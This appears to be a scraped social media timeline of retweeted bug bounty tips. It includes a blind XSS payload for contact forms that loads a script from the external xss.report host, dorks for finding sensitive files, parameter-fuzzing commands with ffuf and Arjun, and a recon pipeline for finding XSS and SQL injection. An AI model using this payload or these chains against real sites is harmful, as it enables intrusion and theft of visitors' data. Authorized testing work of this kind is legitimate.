attacker รีทวีตแล้ว
Good morning Friends today is Blind XSS Triage Day👌
I used xss.report in Contact Form
Payload : '"></script><script src=//xss.report/s/yourserver></script>
#bugbounty #bugbountytip #bugbountytips #infosec #bbp
English
attacker
5 posts
attacker รีทวีตแล้ว
As recon process I observed few things in dorking
site:*.target.*
This dork was giving all the urls with com,net,co,io
Gathered all the domains and use following to command
/1
Aditya@ADITYASHENDE17
I’ve decided to do bug hunt with only dorking for remaining month. Where I’ll be creating new dorks to get sensitive information: EOM I’ll share all the dorks. As I’ve got good results for dorking so far . Basic : site*.*.target.com -ext:pdf | ext:xlsx #kongsec
English
attacker รีทวีตแล้ว
For Fuzzing for Hidden Params , you can use FFUF which is faster tool or Arjun:
ffuf -w ~/tools/wordlist/param.txt:PARAM -u "$1?PARAM=XSS" -mr "XSS" -c
arjun -w ~/tools/wordlist/param.txt -u $1
#bugbounty #bugbountytips
English
attacker รีทวีตแล้ว
Reflected XSS Bug
#VDP
Tips :-
1- site:*.target.com ext:php
2- echo sub.target.com | waybckurls | grep "\?" | uro | httpx -silent > parameters.txt
3- nuclei -l parameters.txt -t fuzzing-templates
4- You may find xss,sqli,ssrf,open redirect...ext
#bugbountytips
English
